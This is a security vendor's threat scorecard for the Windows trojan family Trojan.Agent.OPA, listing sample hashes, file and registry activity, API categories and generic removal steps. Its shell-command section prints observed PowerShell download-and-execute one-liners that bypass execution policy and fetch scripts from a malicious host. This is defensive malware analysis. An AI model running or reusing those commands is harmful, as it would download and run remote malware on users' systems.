Trojan.Agent.OPA
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 3,251 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 465 |
| First Seen: | October 1, 2024 |
| Last Seen: | July 2, 2026 |
| OS(es) Affected: | Windows |
The detection of Trojan.Agent.OPA indicates that your system has been compromised by a type of malware known as a Trojan. This type of threat is designed to deceive users into installing it on their systems, often by disguising itself as a legitimate program or file. Once installed, Trojans can cause a range of problems, from stealing sensitive information to disrupting system performance.
Table of Contents
What Is Trojan.Agent.OPA?
Trojan.Agent.OPA is a type of Trojan that can infect a system through various means, such as exploiting vulnerabilities in software or by being downloaded and installed by a user unknowingly. The exact nature of this threat is not well understood without more specific information, but it is clear that it has the potential to cause significant harm to a system and its users. Trojans, in general, are known for their ability to remain hidden on a system, making them difficult to detect and remove.
How Trojan.Agent.OPA Operates
Like other Trojans, Trojan.Agent.OPA operates by exploiting the trust of the user. It may pretend to be a useful program or a necessary update, but in reality, it is designed to compromise the security of the system. Once installed, it can communicate with its creators, allowing them to control the system remotely, steal data, or install additional malware. The specifics of how Trojan.Agent.OPA operates can vary, but the end goal is typically to profit from the infection, whether through stealing personal data, using the system for spam or malware distribution, or demanding ransom.
Symptoms of Infection
The symptoms of a Trojan infection can be subtle and may not always be immediately apparent. Users might notice that their system is running slower than usual, or they might see unexpected pop-ups or changes in their browser settings. In some cases, the system may become unstable, or programs may not function as expected. However, some Trojans are designed to be stealthy and may not exhibit any noticeable symptoms at all, making regular scans with anti-malware tools crucial for detection.
How to Remove Trojan.Agent.OPA
- Boot your system into Safe Mode with Networking. This will help prevent the malware from loading and make it easier to remove.
- Use a reputable anti-malware tool, such as SpyHunter, to perform a full scan of your system. Ensure the tool is updated with the latest definitions to improve the chances of detecting and removing the Trojan.
- Uninstall any suspicious programs that you do not recognize or that were installed around the time the infection was detected.
- Reset your web browsers (Chrome, Firefox, Edge, etc.) to their default settings to remove any changes made by the malware.
- Reboot your system and perform another full scan with your anti-malware tool to ensure that all components of the Trojan have been removed.
Conclusion
The removal of Trojan.Agent.OPA requires careful attention to detail and the use of reputable security tools. It's essential to understand that no single method can guarantee the complete removal of malware, but following the steps outlined above can significantly reduce the risk of ongoing infection. Preventing future infections involves being cautious with emails and downloads, keeping software up to date, and regularly scanning your system for threats. By taking these precautions and staying informed, you can protect your system and your personal data from the ever-evolving landscape of malware threats.
Analysis Report
General information
| Family Name: | Trojan.Agent.OPA |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
66b06e2c5d3a02c0324e8cd381d3aef4
SHA1:
86dde8f4a883e0f8024f463192237f916b53a6b8
SHA256:
CF7A9D46DF6B7F1B7AD3A1E9E96F3CB4269C955E739A1B8FC888D1A94B72D314
File Size:
657.41 KB, 657408 bytes
|
|
MD5:
8918889bd2e058b9119147d65455daeb
SHA1:
b648f4a743a7c20bdc9a6dae302ec385e0f5d76f
SHA256:
BFA4422EAEF6B4EEC07CD4C278647602FBA87A77CF294284804D0159B93B5ACB
File Size:
351.23 KB, 351232 bytes
|
|
MD5:
7ad1e6d101bf6f491c565bd5379bd29d
SHA1:
11362c14086cceac1bbae01327fe36b140831116
SHA256:
C9D442AF239EFC4DC46C01BD3FA178FE8ED89CEBE9C2B1F62D911207C8CC5393
File Size:
2.63 MB, 2634752 bytes
|
|
MD5:
f001cdacd15e1e8bd0a5267e2d03243e
SHA1:
41baaef96b775375ecd19aadce3cd5d7065cc1ad
SHA256:
6BF51F4A226E9FB2748949474CD992167DBEF79E5055004F95460396C3FDF811
File Size:
147.46 KB, 147456 bytes
|
|
MD5:
ce6354e788536c0b45fede3d8c32e1db
SHA1:
bde2ee55944f257260a9afea7e4eecacfa2a7eba
SHA256:
CDB47609B88411874EC4FE93F0AAAAF0DA8271F2AF29E2126CF8DE755BB7046E
File Size:
352.26 KB, 352256 bytes
|
Show More
|
MD5:
f2b28695f67135de24683a183942fdb5
SHA1:
1f19a5b7a5ef908e1e11448549c599a9ccb40043
SHA256:
B9B595FD5D07E50E269C1DB523EA7278123F747F4C9F1D64493715D58F32CA79
File Size:
167.94 KB, 167936 bytes
|
|
MD5:
5d22cfa3cb437968aad41ac25d0f83ef
SHA1:
56742cc36eecea4d5484ee2b9c8555154be1756c
SHA256:
2CF074424B03930DCA1323FB2B577545DBFAC0ED86E715A74944D9EFAE6638FD
File Size:
151.55 KB, 151552 bytes
|
|
MD5:
11a165a95b3cbec850c782ad2e0a1042
SHA1:
6e54aa9054555eb192b4f6cc6ba0a88bc81a618d
SHA256:
C235AF51EBF810C46F5314EC7EB1F8145839946C848008A2D3D9009EF6835FD1
File Size:
312.32 KB, 312320 bytes
|
|
MD5:
893520ee8ca001e9a8932f08b529d945
SHA1:
d361d39b1f64fca1157d320037359d081f1eb186
SHA256:
83643C8ABD9FD724907BCCDFB103B84256EC45B64EDC00E270049B92E316153B
File Size:
389.12 KB, 389120 bytes
|
|
MD5:
2c627407a3a9b9a7014dde4f43b65a24
SHA1:
af58c4bc79dfca2e2dc5461a1aa5a63312de9561
SHA256:
BFBB3CAFD258D60B989BCE4C24EFA7A7E03AE34395CFA7BD2C65BA99A77C2592
File Size:
158.21 KB, 158208 bytes
|
|
MD5:
ddc21a7231b86247a54c4be7631746d8
SHA1:
4056cd39abbbc87a934c3e6a79e0ae12516d2295
SHA256:
A9AAC8A8FFA20B2901D24E4F4E6C0EFDC20D6046EE3AF9A0ACB5BF98C4849983
File Size:
794.11 KB, 794112 bytes
|
|
MD5:
f5b3b3cd19850eab1efb0f506a1ac967
SHA1:
371a8dc91f90dbdaf9ddc40e65d7fd0ae303d8b7
SHA256:
3959C644A6EE0B359851C3668CEB7F670546D6486AE8263161208CB201E42A4F
File Size:
194.56 KB, 194560 bytes
|
|
MD5:
6c7e2b5ab760e89411deaa9142f06cf3
SHA1:
da79a890f2c6dc83a70f426422862dd5af00c329
SHA256:
BF60015D44AFC78564C0696F9FDCA0A510198952EB79AD9612F35C5DDC7F3F36
File Size:
3.08 MB, 3078144 bytes
|
|
MD5:
4db390ebd25289814d49edc1f5fd755d
SHA1:
841aeffed95eec4eea65648fd9f93f288a014379
SHA256:
24C22B0DCBBBA546C4C0A677BD7E51EC4279E03654DD5C5D35F06E47CB2D8101
File Size:
380.42 KB, 380416 bytes
|
|
MD5:
d405d391ed14080cd4fe6991c1aa575f
SHA1:
08cbeaffb88af484e1cb3a8003af527b9c147d0c
SHA256:
F9A40DC8A64BB4736126590378151CE17A7868EF65393498677049E644FFFCC4
File Size:
175.10 KB, 175104 bytes
|
|
MD5:
de8945cf8a5ed7be354f4355e185c490
SHA1:
b052a14e6a30e825c5a418e288aeb4eb6d66a7e4
SHA256:
A709FFC810E998E335025CE197B36C2395D876965EBCADD32F3A1F6D7B23D554
File Size:
195.07 KB, 195072 bytes
|
|
MD5:
e287969436307338f184c46a6140a0ad
SHA1:
6186f5ad375bdf8452f26cfb83d68ab2488a3bed
SHA256:
BA420F2251684F615CEBB9E757723150F6597EFBA1C0936B36A3ADDA98099CF9
File Size:
275.46 KB, 275456 bytes
|
|
MD5:
93933e57748be243efcba8768f7fc0ac
SHA1:
0c344eab31f5a3890f63d6312dfcde5cef5afd9f
SHA256:
49A3D828D3D19AEE3D844BAA928C6FFFB72F4BC838713BAADBBB641C9807A4C0
File Size:
268.29 KB, 268288 bytes
|
|
MD5:
950c6dc0ce380a03cbf0d32b8c199647
SHA1:
4bdfc8d8e3adee362ae6b36b220e01b5a9988821
SHA256:
8539BD0EB50FAA7E74217ADDA7ED39329D9E8CDBE7751FC92CA87CAB68EEB8DC
File Size:
658.43 KB, 658432 bytes
|
|
MD5:
b412902b6fd348a8699870178a05be04
SHA1:
e8f51350bfce7624adf11850bf96455ecd3cc6db
SHA256:
536B794FF1B550D8B4F2AE985A3CB6FECE40E11507EDF5D6C57CB041283CEB87
File Size:
130.05 KB, 130048 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have relocations information
- File doesn't have resources
- File doesn't have security information
- File has exports table
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
Show More
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Show More
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Comments | metapath |
| Company Name |
|
| File Description |
|
| File Version |
|
| Internal Name |
|
| Legal Copyright |
|
| Original Filename |
|
| Product Name |
|
| Product Version |
|
Digital Signatures
Digital Signatures
This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.| Signer | Root | Status |
|---|---|---|
| Autodesk, Inc. | DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 | Hash Mismatch |
File Traits
- fptable
- HighEntropy
- No Version Info
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 451 |
|---|---|
| Potentially Malicious Blocks: | 3 |
| Whitelisted Blocks: | 445 |
| Unknown Blocks: | 3 |
Visual Map
x
0
x
0
0
x
0
?
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
2
0
0
2
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
?
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- AddUser.XB
- Agent.GFOA
- Agent.GSDT
- Agent.IFSC
- Agent.LKS
Show More
- Agent.LPQ
- Agent.LPQA
- Agent.OSR
- Agent.PSA
- Exploit.X
- Farfli.RE
- Gamehack.GACE
- Havoc.L
- Injector.BUB
- Kryptik.CTF
- Kryptik.DTGC
- Kryptik.KPJ
- Mimikatz.CWK
- Pycoon.A
- Rugmi.GJ
- ShellcodeRunner.KSA
- ShellcodeRunner.LZ
- ShellcodeRunner.TX
- Spy.Agent.KG
- Trojan.Agent.Gen.AAQ
- Trojan.Agent.Gen.ADD
- Trojan.Agent.Gen.AGT
- Trojan.Agent.Gen.AHJ
- Trojan.Agent.Gen.AQG
- Trojan.Agent.Gen.ATY
- Trojan.Agent.Gen.BWI
- Trojan.Agent.Gen.CD
- Trojan.Agent.Gen.DZ
- Trojan.Agent.Gen.GQ
- Trojan.Agent.Gen.IN
- Trojan.Agent.Gen.IU
- Trojan.Agent.Gen.OC
- Trojan.Agent.Gen.TX
- Trojan.Agent.Gen.UT
- Trojan.Agent.Gen.VW
- Trojan.Agent.Gen.YS
- Trojan.Agent.Gen.ZQ
- Trojan.Downloader.Gen.CQ
- Trojan.Downloader.Gen.DI
- Trojan.Downloader.Gen.EN
- Trojan.Injector.Gen.FLW
- Trojan.Kryptik.Gen.CFT
- Trojan.Kryptik.Gen.CYB
- Trojan.Kryptik.Gen.EEL
- Trojan.Kryptik.Gen.EHQ
- Trojan.Kryptik.Gen.ELI
- Trojan.ShellcodeRunner.Gen.BD
- Trojan.ShellcodeRunner.Gen.BL
- Trojan.ShellcodeRunner.Gen.FJ
- Trojan.ShellcodeRunner.Gen.FS
- Trojan.ShellcodeRunner.Gen.JU
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134136776547180413.7232.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134136776547336726.6472.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134167075550148938.672.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134167075550376978.7688.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134214208542324840.7580.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134214208542478625.8008.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_16.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_idx.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
Show More
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.0.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_2ltv0sxq.r3m.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_34qyhnmg.tej.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3wetjcdh.sxj.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_4y5c4rh1.ukq.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_navh4xrt.jeh.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_nvy3qtyn.ulm.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_onogysay.dkc.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_qqjn40w4.jmd.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_se13bd0a.5vo.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_t3qagq4b.xa4.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_umezrhaj.qtt.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_y43zjyqs.0h0.ps1 | Generic Write,Read Attributes |
| c:\users\user\downloads\shadertestglobals.xml | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\thrustmaster\apibridge::maintenance | ���cC�%D���N��+��.%��s �1|�Ri/;���tq%!��U�b(Wh: �e��lG���k�q$�]��-:B����gQ�]��k�6ۤ�酅��K?��\u �d��x"�p�g�낛/9��rrTS �T�UT�66ҹ | RegNtPreCreateKey |
| HKCU\software\thrustmaster\apibridge::maintenance | �͙���3��l V�%O%�Pe�\& ! �q���CL�!�wF;���֛^/ <��ĸ�燎���-ǔ�NWYF� � ��U�OF����o4�_��������4Θ����I�@U��'](�G&�!�m@/H�* k� | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer\mountpoints2\##10.200.31.10#amas::_labelfromdesktopini | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 瘴ի貰ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ��m��� | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey |
Show More
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ꤸ躹ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 浰躾ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | Ϭ迶팜ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 晆迸팜ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 좊迺팜ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ⫱追팜ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
Show More
130 additional items are not displayed above. |
| Other Suspicious |
|
| Service Control |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Process Manipulation Evasion |
|
| Encryption Used |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
| Network Info Queried |
|
| Process Terminate |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
c:\users\user\downloads\RED\Binaries\Win64\DRAGON_BALL_FighterZ.exe
|
powershell -Exec Bypass -NoProfile -WindowStyle Hidden -c "(New-Object Net.WebClient).DownloadString('http://atualizadoativado.com/0/0.ps1') | iex"
|
powershell -Exec Bypass -NoProfile -WindowStyle Hidden -c "(New-Object Net.WebClient).DownloadString('http://atualizadoativado.com/0/corel/0.ps1') | iex"
|
cmd.exe /c ipconfig /flushdns
|
powershell -Exec Bypass -NoProfile -WindowStyle Hidden -c "(New-Object Net.WebClient).DownloadString('http://atualizadoativado.com/0/sktup/0.ps1') | iex"
|
Show More
C:\WINDOWS\system32\ipconfig.exe ipconfig /flushdns
|
c:\users\user\downloads\pythonw.exe python -m pymol
|
